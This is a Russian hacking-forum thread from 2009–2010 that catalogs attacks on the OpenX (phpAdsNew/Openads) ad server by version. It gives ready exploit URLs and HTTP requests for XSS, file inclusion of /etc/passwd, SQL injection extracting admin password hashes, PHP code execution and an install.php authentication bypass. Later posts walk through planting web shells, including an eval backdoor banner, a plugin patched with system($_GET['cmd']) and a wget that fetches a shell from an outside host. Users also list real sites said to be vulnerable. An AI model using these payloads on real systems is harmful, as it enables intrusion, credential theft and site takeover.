Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   [ Обзор уязвимостей OpenX (phpAdsNew, Openads) ] (https://forum.antichat.xyz/showthread.php?t=150144)

(Dm) 21.10.2009 23:08

[ Обзор уязвимостей OpenX (phpAdsNew, Openads) ]
 
Обновлено 21.04.2010 (Спасибо всем за активность)

[ + ] Общая информация:
Сайт: http://openx.org
Текущая версия: OpenX 2.8.5

[ + ] Краткий экскурс в названия:
phpAdsNew, Openads, OpenX - это название одного продукта, которое менялось в течении времени.

phpAdsNew - название движка c версии 2.0 до 2.0.9
Openads - название движка c версии 2.0.10 до 2.4.3
OpenX - название движка c версии 2.4.4 до настоящего момента


[ + ] Структура БД:
>> ветка OpenX 2.6; OpenX 2.8
Цитата:

Префикс: ox_
Таблица: users
Поля: user_id, email_address, username, password
user_id админа = 1
Алгоритм хеширования пароля md5
>> ветка OpenX 2.4
Цитата:

Префикс: ox_
Таблица: preference
Поля: agencyid, admin, admin_pw, admin_email
agencyid админа = 0
Алгоритм хеширования пароля md5
>> ветка OpenX 2.0
Цитата:

Префикс: phpads_
Таблица: config
Поля: configid, admin, admin_pw, admin_email
configid админа = 0
Алгоритм хеширования пароля md5

[ + ] Уязвимости для всей ветки OpenX 2.0 [phpAdsNew все версии, Openads до 2.0.11-pr1 включительно]
>> Раскрытие пути
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/adlayer.php?layerstyle=antichat
Цитата:

http://host/adclick.php?bannerid=id&antichat=xe%0Ak%0A
id - номер существующего баннера
>> XSS
условия:
+ register_globals = On

сплоит:
Цитата:

http://host/adcontent.php?bannerid=id&row[prepend]=<script>alert(document.cookie)</script>
http://host/adcontent.php?bannerid=id&row[append]=<script>alert(document.cookie)</script>
id - номер существующего баннера
>> Выполнение php кода
условия:
+ $phpAds_config['type_html_php'] = true; // default false
+ наличие html баннера
+ register_globals = On


сплоит:
Цитата:

http://host/adcontent.php?bannerid=id&row[prepend]=<?php phpinfo();?>
id - номер существующего html баннера
[ + ] Уязвимости phpAdsNew 2.0 - 2.0.5
>> Local File Include
http://securityreason.com/achievement_securityalert/21

сплоит:
Цитата:

http://host/adlayer.php?layerstyle=../../../../../../../../../../../etc/passwd%00
Примечание: возможно использовать ////[4096]//// как альтернатива null byte

[ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr2
>> Выполнение php кода (XML-RPC Library Remote Code Execution)
http://www.securityfocus.com/bid/14088/info

сплоит:
Цитата:

POST /adxmlrpc.php HTTP/1.1
Host: host
Connection: close
Content-Length: 168

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value>
</param>
</params>
</methodCall>
[ + ] Уязвимости phpAdsNew 2.0 - 2.0.4-pr1
>> Раскрытие пути
http://securityreason.com/achievement_securityalert/9
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/libraries/lib-xmlrpcs.inc.php
http://host/maintenance/maintenance-activation.php
http://host/maintenance/maintenance-cleantables.php
http://host/maintenance/maintenance-autotargeting.php
http://host/maintenance/maintenance-reports.php
http://host/misc/backwards compatibility/phpads.php
http://host/misc/backwards compatibility/remotehtmlview.php
http://host/misc/backwards compatibility/click.php
http://host/adcontent.php
>> XSS
http://securityreason.com/achievement_securityalert/9

сплоит:
Цитата:

http://host/adframe.php?refresh=securityreason.com'><script>al ert(document.cookie)</script>
[ + ] Уязвимости Openads 2.4.0 - 2.4.2
>> Выполнение php кода
сплоит:
Цитата:

http://host/www/delivery/ai.php?filename=antichat.jpg';system($_GET[cmd]);/*&contenttype=antichat&cmd=ls -la
[ + ] Уязвимости OpenX 2.6.0 - 2.6.3
OpenX 2.4.4 - 2.4.9
Openads 2.4.0 - 2.4.3

>> Local File Include
http://milw0rm.org/exploits/7883
Условия:
+ magic_quotes_gpc = Off

сплоит:
Цитата:

http://host/www/delivery/fc.php?MAX_type=../../../../../../../../../../../../../../../etc/passwd%00
Примечание: используется функция file_exists - для проверки, поэтому ////[4096]//// не подойдет как альтернатива null byte

[ + ] Уязвимости OpenX 2.6.0 - 2.6.1
OpenX 2.4.4 - 2.4.8
Openads 2.4.0 - 2.4.3

>> SQL injection
Есть сплоит на milw0rm - мало того что написан как blind sql injection, хотя там обычная инъекция с выводом X_X, так он ещё и корявый, писал какой-то калека.

сплоит для OpenX 2.6.0 - 2.6.1:
Цитата:

http://host/www/delivery/ac.php
?bannerid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_w s(0x3a,u.username,u.password),19,20,21,22,23,24,25 ,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 FROM ox_users u, ox_banners d, ox_clients m, ox_campaigns c WHERE u.user_id=1
Примечание: вывод будет в заголовок страницы <title> ... </title>

сплоит для OpenX 2.4.4 - 2.4.8
Openads 2.4.0 - 2.4.3:

Цитата:

http://host/www/delivery/ac.php
?bannerid=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_w s(0x3a,p.admin,p.admin_pw),19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36,37,38 from ox_preference p, ox_banners d, ox_campaigns c WHERE p.agencyid=0
Примечание: вывод будет в заголовок страницы <title> ... </title>

[ + ] Уязвимости OpenX 2.6.0 - 2.6.4
OpenX 2.4.4 - 2.4.10
Openads 2.4.0 - 2.4.3

>> Blind sql injection
условия:
+ magic_quotes_gpc = Off

Описаниe: http://resources.enablesecurity.com/advisories/openx-2.6.4-multiple.txt

[ + ] Уязвимости OpenX 2.8.0 - 2.8.5
>> Раскрытие пути
условия:
+ display_errors = On

сплоит:
Цитата:

http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
http://host//www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
http://host/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php
[ + ] Уязвимости OpenX 2.8.0
>> Обход аутентификации пользователя

сплоит:
Цитата:

POST /www/admin/install.php HTTP/1.1
Host: host
Connection: close
Content-Length: 13

btn_openads=1
[ + ] Уязвимости OpenX 2.8.2 - 2.8.3
>> Раскрытие установочной информации

сплоит:
Цитата:

POST /www/admin/install.php HTTP/1.1
Host: host
Connection: close
Content-Length: 28

btn_openads=1&btn_syscheck=1
Уязвимости которых нет:
Цитата:

phpAdsNew 2.0.4-pr2 Remote File Inclusion Exploit //константу нельзя передать как переменную )))
phpAdsNew-2.0.8/admin/upgrade.php?phpAds_config[language]=../../../etc/passwd%00 //phpAds_config[language] определен в конфиге
phpAdsNew-2.0.8 (adlayer.php) Remote File Include //Там нет даже LFI, не говоря о RFI

phpAdsNew-2.0.7/admin/report-index.php?filename=http://evil_scripts? //Меньше курить надо)
phpAdsNew-2.0.7/admin/lib-gui.inc.php?phpAds_config[my_footer]=http://evil_scripts? //И пить тоже)
phpAdsNew-2.0.7/libraries/lib-remotehost.inc.php?phpAds_geoPlugin=http://evil_scripts?//
PS Если найдете какие либо неточности, ошибки или будут вопросы по уязвимостям, пишите в личку.

(Dm) 26.10.2009 05:34

Загрузка шелла
 
Универсальный способ загрузки шелла.
условия:
+ Доступность на запись файла config.inc.php

Описание:
>> Для ветки OpenX 2.0
1.
Цитата:

В админ панели выбираем
Настройки ->
(вкладка) Главные настройки ->
(выпадающий список "Выберите раздел:") Настройки баннеров ->
(категория) Опции HTML-баннеров ->
Разрешить выполнение PHP-выражений из HTML-баннера

Сохраняем.
>> Для ветки OpenX 2.4
1.
Цитата:

В админ панели выбираем
Настройки ->
(вкладка) Главные настройки ->
(выпадающий список "Выберите раздел:") Настройки доставки ->
(категория) Настройки доставки баннеров ->
Разрешить исполнение кода PHP

Сохраняем.
>> Для ветки OpenX 2.6
1.
Цитата:

Переходим в админ панель, в правом верхнем углу ->
(Работает как) Administrator account

В админ панели выбираем
Мой аккуант ->
(вкладка) Общие настройки ->
(выпадающий список "Выберите раздел:") Настройки кэширования доставки ->
(категория) Настройки кэширования доставки ->
Разрешить исполнение кода PHP

Сохраняем.
>> Для ветки OpenX 2.8
1.
Цитата:

Переходим в админ панель, в правом верхнем углу ->
(Работает как) Administrator account

В админ панели выбираем
Конфигурация ->
(категория) Общие настройки ->
Настройки доставки баннеров ->
(категория) Настройки доставки баннеров ->
Разрешить исполнение кода PHP

Сохраняем.
2.
Цитата:

Добавляем баннер
Выбираем (выпадающий список: Тип баннера) HTML-баннер ->
В поле HTML-баннер ->
<?php
if (!empty($_POST['e']))
@eval(base64_decode($_POST['e']));
?>
test

Сохраняем
3.
Цитата:

Узнаем id созданного баннера, его можно увидеть в названии баннера.
4.
Цитата:

Передаем, нужные нам параметры:
Цитата:

http://host/adcontent.php?bannerid=id //OpenX 2.0
http://host/www/delivery/ac.php?bannerid=id //OpenX > 2.0

id - номер вашего баннера
Пример запроса для phpinfo() :
Цитата:

POST /www/delivery/ac.php?bannerid=id HTTP/1.1
Host: host
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
e=cGhwaW5mbygpOw==
Хочу заметить что в данном случае удобно использовать плагин для firefox - HackBar

brain[pillow] 19.12.2009 23:41

OpenX 2.8.2, раскрытие пути:
/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/PearXmlRpcCustomClientExecutor.php
/www/admin/plugins/oxMarket/library/OX/oxMarket/M2M/ZendXmlRpcCustomClientExecutor.php
/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/ConnectionUtils.php
/www/admin/plugins/oxMarket/library/OX/oxMarket/Common/Cache.php

MaSTeR GэN 21.01.2010 23:19

Уязвимости OpenX 2.8.0
запрашиваем http:/site.com/openx/www/admin/install.php
оказываемся в админке если есть права на запись в кофиг фаил заливаем шелл
Уязвимости OpenX 2.8.2
В паблике реализации уязвимости пока не видел :
запрашиваем: http:/site.com/openx/www/admin/install.php
передаём постом параметры : btn_openads=1&btn_plugins=1
попадаем в админку заливаем шелл )
узязвимый код в install.php :
PHP код:

..........................................
// No upgrade file? No installer! Unless the user is in the last step
if (!file_exists(MAX_PATH.'/var/UPGRADE') && !isset($_POST['btn_openads'])) {
    
header("Location: index.php");
    exit;
   }
......................................... 

наличие btn_openads в посте пропускает нас дальше :
PHP код:

           else if (array_key_exists('btn_plugins'$_POST))
{
    require_once 
MAX_PATH.'/lib/JSON/JSON.php';
    
$aUrls = array(); 

наличие btn_plugins пропускает нас в админку !
Альтернативный спосов заливки shell
Берем стандартный плагин для openx из папки etc/plugins/ скрипта установки.
Добавляем в начало любого из файлов system($_GET['cmd']) для примера : Открываем openX3rdPartyServers.zip и в /plugins/3rdPartyServers/ox3rdPartyServers/ файлу архива добавляем к adtech.class.php system($_GET['cmd']) сохраняем имеем универсальный шелл для версий выше 2.6
Для заливки шелла заходим в админку жмякаем кнопку плагинс в 2,8 версии (В 2,6 тыкаем конфиг->плагинс )в открышемся вкладке такаем кнопку обзор выбераем где у нас хранится наш изменённый openX3rdPartyServers.zip жмякаем на кнопку import code нажимаем кнопку конфиг и наш шелл подгружается ))) или по прямому адресу http:/site.com/openx/plugins/3rdPartyServers/ox3rdPartyServers/adtech.class.php )))))) ещём другую папку доступную для записи к примеру www/images/ (всегда доступна на запись ) и заливаем полноценный шелл к примеру (если есть wget)
"cd ../images/ && wget -O shell.php http://shell.com/shell.txt")
по адресу *www/images/shell.php имеем полноценный шелл

MaSTeR GэN 27.01.2010 12:41

OpenX 2.8.0
OpenX 2.8.2
OpenX 2.8.3


Пока раскрытие установчной директории скрипта и некоторые настройки сервера:
Код:

http://url.com/openx/www/admin/install.php
И постом параметры:
btn_openads=1&btn_syscheck=1
Рабочий пример:
igromania.ru
http://bs.igromania.ru/www/admin/install.php

попугай 30.01.2010 20:32

(Dm), спасибо огромное за обзор и остальным также.

Но есть вопрос - добыл из базы хеш и логин, хеш брученый был уже, поэтому ввел логин и пасс в админку - но мне пишет, что нужно включить куки для авторизации.
Куки, естественно, включены. Из-за чего такое может быть?

MaSTeR GэN 16.02.2010 00:21

2попугай а openx вообше выдает баннеры на страницу ? :)
Я тут вот по какому вопросу зашел )))
http://securityreason.com/wlb_show/WLB-2010010098
кто нить что нибудь понимает ? лично я нет, где там иньекция ,сижу втупляю не могу не хрена понять :D и вообше какое это отношение к самому движку имеет то ? ((

попугай 07.03.2010 18:14

Цитата:

Сообщение от MaSTeR GэN
2попугай а openx вообше выдает баннеры на страницу ? :)
Я тут вот по какому вопросу зашел )))
http://securityreason.com/wlb_show/WLB-2010010098
кто нить что нибудь понимает ? лично я нет, где там иньекция ,сижу втупляю не могу не хрена понять :D и вообше какое это отношение к самому движку имеет то ? ((

В каком смысле "на страницу"? Хочешь посмотреть существующие банеры? В админке можно это сделать(точно не могу сказать где именно, ибо не помню и openx щас нет).

А насчет инъекции - может у тебя версия другая?

gabarea 07.04.2010 16:08

openx.pmgnews.com/www/admin/index.php - 2.8.1
arkansas-catholic.org/adserver/www/admin/index.php - 2.8.1
ikeafans.com/openx/www/admin/index.php - 2.8.2
mondofacto.com/openx/www/admin/index.php - 2.8.2
ultimatecampresource.com/openads/www/admin/index.php - 2.8.3
a.soft32.com/www/admin/index.php - 2.8.3

почему не работает install.php этой ссылки?

jjokker 17.04.2010 02:28

Цитата:

Сообщение от gabarea
openx.pmgnews.com/www/admin/index.php - 2.8.1
arkansas-catholic.org/adserver/www/admin/index.php - 2.8.1
ikeafans.com/openx/www/admin/index.php - 2.8.2
mondofacto.com/openx/www/admin/index.php - 2.8.2
ultimatecampresource.com/openads/www/admin/index.php - 2.8.3
a.soft32.com/www/admin/index.php - 2.8.3

почему не работает install.php этой ссылки?

почему не работает?
http://a.soft32.com/www/admin/install.php
Код:

/var/vhost/openx/var          OK
/var/vhost/openx/var/cache        OK

http://mondofacto.com/openx/www/admin/install.php
Код:

/data/www/openx/var          OK
/data/www/openx/var/cache        OK
/data/www/openx/var/plugins        OK
/data/www/openx/var/templates_compiled        OK


и так далее....
ты видимо не внимательно читал ...
написано же , что обратится надо к скрипту install.php c POST параметрами
btn_openads=1&btn_syscheck=1


Время: 08:24